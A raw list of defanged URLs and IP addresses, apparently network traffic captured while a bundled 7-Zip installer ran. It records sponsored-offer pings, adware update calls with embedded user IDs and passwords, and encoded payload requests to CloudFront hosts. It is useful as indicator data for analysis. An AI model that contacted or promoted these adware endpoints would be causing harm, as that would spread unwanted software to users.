hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.7890064771978099 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ/GeYFMwARwv3X0lyNq3ZuENxiFmqD47bQhbRl /mT WqX4Lr7R/LsBVT8ZD/qVCe8s7ryaZlSWLio96KQrvxHzFtz73aJdyQ XPqCqZFMnCKFXCDA1RTqWUwQJJmLrMt3APEDTT1dRPGd5f/T6ihAobKcP 39NITxafZWAq087ncOrjfwSjyvAwJqLk4UIb2TaxssRsAbnEbhoWXXw3kpJQWauk8 c9QQ8qnwwuYDEFATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW3r A4x0AgNXZVvxobzfh8zhk54WlPhjC94E7mrr1h80v8gl1CzC7piUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIk lWLUtT/Ob8PRD2wFYfQncbtSRl8JQU7AqseDL gzy2cp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS 54.230.200.21
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw== 108.162.232.205
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGSr4DTw5uXZI4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNJiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkAt2EiWf 0FATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.21
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1
hxxp://install.sourceapp.info/mg?alpha=CEgCUw4TUmNRdEpwLXkBNwFAQAtWMHQtA2RvJw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKuCJHFnO09bqpFYl/7xBfYArlpNKKdx85zJU47iDwkO2bVRzQE3kjEg== 54.230.200.21
hxxp://crl.globalsign.net/root.crl 108.162.232.205
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1 107.20.238.80
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=2v0SNuZrMFyRcITdAqjv5seI11IItJtHKfVlCnXptyQn W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckPxnmBTMAEcL919Jcjat2bhDcYhZqg O20IW0Zfv5k/lql C6 0fy7AVU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPlz6gqmRTJwihVwgwNUU6llMECSZi6zLdwDxA009XUTxneX/0 ooQKGynD/t/TSE8Wn2VgKtPO53Dq438Eo8rwMCai5OFCG9k2sbLEbAG5xG4aFl18N5KSUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XeJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.200.252
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?de5b477e37d74a8b 88.221.132.207
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=m/KydUClS9fHiNdSCLSbR5wFJfH9UbKsQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W6Sm/NUmuZILaKig fkRtZI3fHrFM BTeUYvjTZAc5pSYCpHZc9ZUaHCsX Z/ryLWwQy9IgZy5lJKYX3Ti/i3YP62O0yjhYNJveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OEQyD12F 1Nyjgb6v7cXpPt2nKkLkHTcAQh7fCP95dTKIvain/ mm oQ3ihp8iyABkNoF4u38LkIDxcw9tjUHd6808AiUQEulsmw3Hl6laVkU2H z7sW5Uv0iKnRIooKPoID5x5YtLWQXzTkQDbdEkq8hLuB0cJXwtOb7hYQlix0aoe2/agTRYhtk53Vn6HHwE8g4Yt1p46NH6wMvCefXXfa4AbUiuRjCdp8Ch1eJyoUxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= 23.43.139.27
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886310&SBPIDS=1
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=IF2Ewsmtycl&name=ShopperPro
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423886297&SBPIDS=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH2vh7hk0cgBBQC drCF7eFGvGaf/td2AvO7beQ5yJE1ItX z kBM18bMPO4Hl2XHOoh 03ARIl sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS 54.230.200.21
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US 63.245.215.111
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.6555264512590716 78.138.127.15
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE 107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.200.21
hxxp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.8521017426330562 78.138.127.15
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?c08fe4720072e56f 88.221.132.207
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7395209612543288 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT9zjnfHDvMlV pHivO720KFFagtWkIz2IR4WLbCbjSKVVz29 azWLLzqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERKbvoGA4XsmV4XCb9CiaQyu0JQd5HxgIXf46OoQvinCN9FInQ/3aUB0hvdqivECN yHV1LMlp88b6eEsn81noLJjYhcnCVtRQ 3pbZbEWnWARD9BVsk40bmx4ABUCsqm0puvaNfs0YIq ns4WS9HyHR4nwc6PiZLfgIE7jpNROtzDm81F21dSoQ1V4Hek0AV9mn0FiVjXc3ENVeB3pNAFfZhngPKyfI04xX2w3GuEsAbyztZqn9Yn 2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy 54.230.200.21
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.49104335703009616 78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8350997762370773 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.04010042499023647 78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=1280937276&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=934154437&utmr=-&utmp=Install_Complete&utmht=1423886292943&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HBWOvghCBTr/XvKbjUyzCCcFAL52sIXt4VzPv64An3FhwinQ51oFle v E9wUGzGQCOQnLAYBihDz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiibrawBNTcSO11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.21
hxxp://bi.bisrv.com/installer/ajax 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=A3ANzFv7fWAfyhErKivT9R0A8JFzEu3PUDc7yLpb7yGMDmRWpWBZ0CAvELRpepitAn5VjwTD4wapVuBneuOiaiazLFSkfv6pWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= 54.230.200.21
hxxp://d2wy0yopxw6nne.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html 54.230.200.21
hxxp://download.filesfrog.com/software_files/7_zip/7zip_32.png 212.7.199.182
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH62FRv14q4TwTxIUcsgQ w9jOlNWXvBhRc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tkSry2La0pAsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF2V9PoQYImhoi5ITADj fT8xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiBQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OJFqo9IL4nrDFAL52sIXt4XOSMm4SbI/lC36 lBzVeTnB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry399QCDORXJ6VdhY7lmet4gUmCToGzJO3mE1Cb/I uCEIzzgG5sHJ7aitb9T2k1gSd7mFoc4Utgp3lKUo42BvPCdlJGm 5eEq4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qRgWBdCKjfmtrp4QvWU0ETeE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZilRRX95CiBDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63ABluAeShdF9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=XJYuqQQo69e7kz6lYX7QXoxXl6h7wlThSJD6CunAiBj8ln8Iap23//2TEkHeJNDUNLVXkHqu5msN/ec5/N5mEQT3jNVgt0vbd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn 54.230.200.21
